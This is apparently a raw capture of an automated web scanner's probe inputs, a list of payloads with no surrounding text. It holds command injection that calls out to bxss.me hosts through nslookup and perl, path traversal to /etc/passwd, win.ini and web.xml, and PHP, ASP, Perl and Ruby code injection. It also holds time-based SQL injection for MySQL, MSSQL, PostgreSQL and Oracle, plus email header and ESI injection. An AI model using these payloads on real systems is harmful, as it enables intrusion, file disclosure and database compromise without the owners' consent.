&(nslookup hithvopacegxo5474c.bxss.me||perl -e "gethostbyname('hithvopacegxo5474c.bxss.me')")&'\"`0&(nslookup hithvopacegxo5474c.bxss.me||perl -e "gethostbyname('hithvopacegxo5474c.bxss.me')")&`'

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

|(nslookup hitmsmazqszdo567b4.bxss.me||perl -e "gethostbyname('hitmsmazqszdo567b4.bxss.me')")

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

${9999683+9999719}

`(nslookup hitudfftfzlsw810b4.bxss.me||perl -e "gethostbyname('hitudfftfzlsw810b4.bxss.me')")`

../././../././../././../././../././../././../././../././../././../././etc/passwd

;(nslookup hitxfcjlykyvj1a98c.bxss.me||perl -e "gethostbyname('hitxfcjlykyvj1a98c.bxss.me')")|(nslookup hitxfcjlykyvj1a98c.bxss.me||perl -e "gethostbyname('hitxfcjlykyvj1a98c.bxss.me')")&(nslookup hitxfcjlykyvj1a98c.bxss.me||perl -e "gethostbyname('hitxfcjlykyvj1a98c.bxss.me')")

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

file:///etc/passwd

/\../\../\../\../\../\../\../etc/passwd

/WEB-INF/web.xml

C:\WINDOWS\system32\drivers\etc\hosts

../../../../../../../../../../windows/win.ini%00.jpg

)

/../../../../../../../../../../boot.ini

!(()&&!|*|*|

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

^(#$!@#$)(()))******

..\..\..\..\..\..\..\..\windows\win.ini

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

Http://bxss.me/t/fit.txt

WEB-INF/web.xml

http://bxss.me/t/fit.txt%3F.jpg

WEB-INF\web.xml

/etc/shells

c:/windows/win.ini

bxss.me

'.gethostbyname(lc('hitpy'.'avarpogr002cb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(73).chr(108).chr(74).'

".gethostbyname(lc("hitso"."wjykradm657ce.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(76).chr(120).chr(79)."

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(108).concat(72).concat(108).concat(78)+(require"socket"
Socket.gethostbyname("hitoz"+"rmxzktjda750c.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(119).concat(85).concat(109).concat(89)+(require'socket'
Socket.gethostbyname('hitcz'+'qzxmzmphf9b80.bxss.me.')[3].to_s)+'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

'"

${@print(md5(31337))}

<!--

${@print(md5(31337))}\

'.print(md5(31337)).'

1

1

-1 OR 2+212-212-1=0+0+0+1 --

-1 OR 3+212-212-1=0+0+0+1 --

-1 OR 2+505-505-1=0+0+0+1

-1 OR 3+505-505-1=0+0+0+1

-1' OR 2+331-331-1=0+0+0+1 --

-1' OR 3+331-331-1=0+0+0+1 --

-1' OR 2+889-889-1=0+0+0+1 or 'ET7WRnOt'='

-1' OR 3+889-889-1=0+0+0+1 or 'ET7WRnOt'='

-1" OR 2+673-673-1=0+0+0+1 --

-1" OR 3+673-673-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

HTht6uoL'; waitfor delay '0:0:15' --

-5 OR 983=(SELECT 983 FROM PG_SLEEP(15))--

-5) OR 780=(SELECT 780 FROM PG_SLEEP(15))--

-1)) OR 677=(SELECT 677 FROM PG_SLEEP(15))--

wKs6QRNW' OR 364=(SELECT 364 FROM PG_SLEEP(15))--

ORxfLUFi') OR 136=(SELECT 136 FROM PG_SLEEP(15))--

5tOwyjNk')) OR 863=(SELECT 863 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@HvlTs

1

1

1

YsoRCOVA

1*

1*

1*

1*

-1 OR 2+219-219-1=0+0+0+1

-1 OR 3+219-219-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

PGMbAnrz'; waitfor delay '0:0:15' --

-5 OR 593=(SELECT 593 FROM PG_SLEEP(15))--

-5) OR 486=(SELECT 486 FROM PG_SLEEP(15))--

-1)) OR 693=(SELECT 693 FROM PG_SLEEP(15))--

0qgRgQJe' OR 502=(SELECT 502 FROM PG_SLEEP(15))--

Hwa01nnQ') OR 804=(SELECT 804 FROM PG_SLEEP(15))--

kJJmVKgL')) OR 888=(SELECT 888 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@MFhQQ

1woLsOmz

1*

1*

1*

1*

-1 OR 2+580-580-1=0+0+0+1

-1 OR 3+580-580-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

EKiBm0mL'; waitfor delay '0:0:15' --

-5 OR 379=(SELECT 379 FROM PG_SLEEP(15))--

-5) OR 459=(SELECT 459 FROM PG_SLEEP(15))--

-1)) OR 674=(SELECT 674 FROM PG_SLEEP(15))--

bYrQ1bN6' OR 30=(SELECT 30 FROM PG_SLEEP(15))--

VoOpYwME') OR 126=(SELECT 126 FROM PG_SLEEP(15))--

UAN2bRcR')) OR 131=(SELECT 131 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@yM8zC

1kAbCxBCO

response.write(9584869*9972309)

'+response.write(9584869*9972309)+'

"+response.write(9584869*9972309)+"

%0abcc:074625.67-10271.67.fe9bd.19990.2@bxss.me

to@example.com>%0d%0abcc:074625.67-10272.67.fe9bd.19990.2@bxss.me

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

<esi:include src="http://bxss.me/rpb.png"/>

file:///etc/passwd

../../../../../../../../../../../../../../../proc/version

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

${9999725+10000061}

../../../../../../../../../../etc/passwd%00.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

/etc/passwd

echo ceeydq$()\ fypwgy\nz^xyu||a #' &echo ceeydq$()\ fypwgy\nz^xyu||a #|" &echo ceeydq$()\ fypwgy\nz^xyu||a #

%2fetc%2fpasswd

&echo fezwmr$()\ giwcrp\nz^xyu||a #' &echo fezwmr$()\ giwcrp\nz^xyu||a #|" &echo fezwmr$()\ giwcrp\nz^xyu||a #

/.././.././.././.././.././.././.././../etc/./passwd%00

|echo tzpjzx$()\ tasznq\nz^xyu||a #' |echo tzpjzx$()\ tasznq\nz^xyu||a #|" |echo tzpjzx$()\ tasznq\nz^xyu||a #

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

)

(nslookup hitawwubkxrpoab6fc.bxss.me||perl -e "gethostbyname('hitawwubkxrpoab6fc.bxss.me')")

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

!(()&&!|*|*|